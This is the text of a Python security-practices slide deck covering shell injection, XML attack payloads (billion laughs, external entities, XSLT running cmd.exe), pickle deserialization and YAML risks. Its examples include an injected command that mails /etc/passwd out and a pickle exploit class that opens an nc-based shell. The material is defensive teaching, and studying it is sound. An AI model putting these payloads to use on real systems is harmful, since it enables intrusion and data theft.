PYTHON SECURITY BEST PRACTISES

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ABOUT ME

- Python developer at Graphyte
- Security and good code quality enthusiast
- Working with AWS



AGENDA

- About hackers
- OWASP TOP 10
- Input injection
- Reading xml, pickle and yaml files
- Assert statements
- Temporary files
- Tools

ABOUT HACKERS

- Hacker was good programmer, now it's student from HighSchool
- Attackers: competition, own employee, casual internet surfer, government
- Aim of attacker: hack website, stealing information, injecting malicious software, man, algorithm, metadata in the word documents
- Tools www.shodan.io and many other...





OWASP TOP 10

- Injection
- Broken Authentication
- Sensitive Data Exposure
- XML External Entities
- Broken Access Control
- Security Misconfiguration
- Cross-Site Scripting
- Insecure Deserialization
- Using components with known Vulnerabilitiees
- Insufficient Logging&Monitoring

INPUT INJECTION

import subprocess

```
def compress_file(request, filename):
    command = 'tar cfvz output_file.rar.gz "{source}"'.format(source=filename)
    subprocess.call(command, shell=True)
```

"|| cat /etc/passwd | mail them@domain.com



SOLUTION

- Never trust user and unknown source ! Make validation
- use shelx library for shell operations
- Use shelx.quote to add quotes and prevent execution

PARSING XML - ISSUES

- Bypass firewall and gain access to the restricted resources
- Abuse a service to attack, spy on, DoS servers or third party services
- Exhaust additional resources on the machine (e.g. service that doesn't responds or responds with big file)
- Gain knowledge, when, how often and from which IP address document is accessed
- Send email from inside network if URL handler supports smpt URIs

PARSING XML - BILLION LAUGHS/EXPONENTIAL ENTITY EXPANSION

<!DOCTYPE xmlbomb [<!ENTITY a "1234567890" > <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;*> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;*> <!ENTITY d "&c;&c;&c;&c;&c;&c;*>]> <bomb>&d;</bomb>

PARSING XML - QUADRATIC BLOW ENTITY EXPANSION

```
<!DOCTYPE bomb [
<!ENTITY a "xxxxxxx... a couple of ten thousand
chars">
]>
<bomb>&a;&a;... repeat</bomb>
```

PARSING XML - EXTERNAL ENTITY EXPANSION (REMOTE/LOCAL)

```
<!DOCTYPE external [
<!ENTITY ee SYSTEM
"http://www.python.org/some.xml">
]>
<root>&ee;</root>
```

```
<!DOCTYPE external [
<!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
]>
<root>&ee;</root>
```

PARSING XML - DTD RETRIVAL

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1transitional.dtd"> <html>/ktml> <head/> <body>text</body> </html>



PARSING XML - ISSUES

- XML parsers may use O(n^2) algorithm to handle attributes and namespaces.
- Parsers which uses hash tables for storing attributes and namespaces – implementation may be vulnerable to hash collision attacks and performance can go to O(n²) again.

PARSING XML - PROCESSING INSTRUCTION

<?xml-stylesheet type="text/xsl" href="style.xsl"?>

PARSING XML -DECOMPRESSION BOMB

- XML libraries can parse compressed XML stream like HTTP streams or LMZA-ed files.
- Gzip can compress 1GiB zeros to 1MB and LZMA can be even better
- Only Xmlrpclib can decompress steams so it is vulnerable
- Lxml can load and process compressed data. It can handle very large blobs of compressed data without using too much memory. It is not protected from decompression bombs.
- SAX library is the most safe

PARSING XML - XPATH INJECTION

- Work the same as SQL injections
- Xpath queries must be quoted and validated (especially when taken from user)
- Python's standard library doesn't have Xpath queries and have proper quoting. Use xpath() method correctly:

tree.xpath("/tag[@id='%s']" % value) - BAD
tree.xpath("/tag[@id=\$tagid]", tagid=name) - GOOD

PARSING XML - XINCLUDE

<root xmlns:xi="http://www.w3.org/2001/XInclude">

<xi:include href="filename.txt" parse="text" />

</root>

We should not do that when we use files from untrusted sources.

Libxml2 supports Xinclude but do not have option to limit access only to allowed directories

PARSING XML - XML SCHEMA LOCATION

```
<ead xmlns="urn:isbn:1-931666-22-9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance"
xsi:schemaLocation="urn:isbn:1-931666-22-9
http://www.loc.gov/ead/ead.xsd">
</ead>
```

PARSING XML - XSL

- XSLT is a language for transforming XML documents into other XML or HTML documents
- XSLT processors can interact with external resources like: read/write to file system, access to JRE objects, scripting with Jython.

PARSING XML - XSL TRANSFORMATION

```
<xsl:stylesheet version="1.0"</pre>
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/
java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/
java.lang.Object"
exclude-result-prefixes= "rt ob">
<xsl:template match="/">
<xsl:variable name="runtimeObject"</pre>
select="rt:getRuntime()"/>
<xsl:variable name="command"</pre>
select="rt:exec($runtimeObject, 'c:\Windows\
system32\cmd.exe')"/>
<xsl:variable name="commandAsString"</pre>
select="ob:toString($command)"/>
<xsl:value-of select="$commandAsString"/>
</xsl:template>
</xsl:stylesheet>
```

- 1. Lxml is protected against billion laughs attacks. No network lookups.
- 2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs. No explicit protection to them.
- 3.xml.etree doesn't expand entities. Raises a ParserError when an entity appears.
- 4. minidom doesn't expand entities and simply
 returns the notification that cannot expand
 Entity.

- 5.genshi.input from genshi 0.6 doesn't support entity expansion. It raises a ParserError when an entity appears.
- 6.Library has XInclude support remember to
 set a limit
- 7. Features but they may be exploitable holes

kind	sax	etree	minidom	pulldom	xmlprc	lxml	genshi
billion laughs	Vulnerable	Vulnerable	Vulnerable	Vulnerable	Vulnerabl e	Safe (1)	Safe (5)
quadratic blowup	Vulnerable	Vulnerable	Vulnerable	Vulnerable	Vulnerabl e	Vulnerable	Safe (5)
external entity expansion (remote)	Vulnerable	Safe(3)	Safe(4)	Vulnerable	Safe	Safe (1)	Safe (5)
external entity expansion (local)	Vulnerable	Safe(3)	Safe(4)	Vulnerable	Safe	Vulnerable	Safe (5)
DTD retrieval	Vulnerable	Safe	Safe	Vulnerable	Safe	Safe (1)	Safe

kind	sax	etree	minidom	pulldom	xmlprc	lxml	genshi
gzip bomb	Safe	Safe	Safe	Safe	Vulnerable	Partly (2)	Safe
Xpath support(7)	Safe	Safe	Safe	Safe	Safe	Vulnerable	Safe
xsl(t) support (7)	Safe	Safe	Safe	Safe	Safe	Vulnerable	Safe
Xinclude support (7)	Safe	Vulnerable (6)	Safe	Safe	Safe	Vulnerable (6)	Vulnerable

PARSING XML - SOLUTION

Use defusedxml library which is secure:

- >>> from xml.etree.ElementTree import parse BAD !
- >>> et = parse(xmlfile)
- >>> from defusedxml.ElementTree import parse GOOD !
- >>> et = parse(xmlfile)

All functions and parsers classes accepts additional arguments and returns original objects


MORE READINGS

- 1. https://docs.python.org/3/library/xml.html#xml-vulnerabilities
- 2. https://pypi.org/project/defusedxml/

PICKLES


Python modules:

- Pickle
- Shelve
- Marshal
- Jsonpickle




c_builtin_ - read builtin's
eval - execute python command
(Vprint('a') - python command
tR. - call and push to stack

```
class Exploit:
  def __init_ (self):
     pass
  def reduce (self):
     import os
     return (
       os.system,
          "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l
127.0.0.1 1234 > /tmp/f",
        ),
```



- Never trust pickles !!!
- Use HMAC signing to make sure it is your pickle !




MORE READINGS

- 1. https://docs.python.org/3/library/pickle.html#comparison-wit h-json
- 2. https://docs.python.org/3/library/shelve.html#module-shelve
- 3. https://docs.python.org/3/library/pickletools.html#module-pickletools
- 4. https://docs.python.org/3/library/marshal.html#module-mars hal
- 5. https://jsonpickle.github.io/
- 6. https://root4loot.com/post/exploiting_cpickle/
- 7. https://checkoway.net/musings/pickle/
- 8. https://blog.nelhage.com/2011/03/exploiting-pickle/
- 9. https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-e xploiting-machine-learning-pickle-files/
- 10. https://github.com/trailofbits/fickling
- 11. https://docs.python.org/3/library/hmac.html

YAML

- Yaml can be tricky because you can run system command inside
- Pyyaml not secure until version 4.2b4. Form version 5.1b1 load is safe by default
- Be aware:
 - Still you can use outdated library
 - You can use unsafe_load method in some situations which is not

recommended



MORE READINGS

- 1) https://pypi.org/project/PyYAML/
- 2) https://www.talosintelligence.com/reports/TALOS-2017-0305

ASSERT STATEMENTS

- Never use assert statements to protect piece of code from execution
- Python runs with <u>debug</u> as True. In production it is common to run application with optimizations and this option causes skipping assert statements!
- Use asserts only in tests

ASSERT STATEMENTS

```
$ python
Python 3.7.0 (default, Oct 5 2018, 10:28:35)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> def my great fun(foo):
        print("Before assert statement")
. . .
      assert foo
. . .
        print("After assert statement")
. . .
>>> my great fun(1)
Before assert statement
After assert statement
>>> my great fun(0)
Before assert statement
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<stdin>", line 3, in my great fun
AssertionError
```

ASSERT STATEMENTS

```
$ python -0
Python 3.7.0 (default, Oct 5 2018, 10:28:35)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> def my_great_fun(foo):
... print("Before assert statement")
... assert foo
... print("After assert statement")
...
>>> my_great_fun(1)
Before assert statement
After assert statement
>>> my_great_fun(0)
Before assert statement
After assert statement
After assert statement
>>> my_great_fun(0)
```

TEMPORARY FILES

- Generally, creating temporary files can be accomplished by mktemp() function
- It is not secure because different file system can create file with this name. In the end application can be fed with different configuration data.
- Use tempfile module and use mkstemp() function which can handle those case.

TOOLS

Snyk.io - https://snyk.io/
 Bandit - https://pypi.org/project/bandit/#description







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MORE READINGS

- 1. https://hackernoon.com/10-common-security-gotchas-in-pyth on-and-how-to-avoid-them-e19fbe265e03?gi=5b7cd0a0fe8a
- 2. https://www.owasp.org/index.php/Top_10-2017_Top_10
- 3. https://snyk.io/
- 4. https://pypi.org/project/bandit/#description

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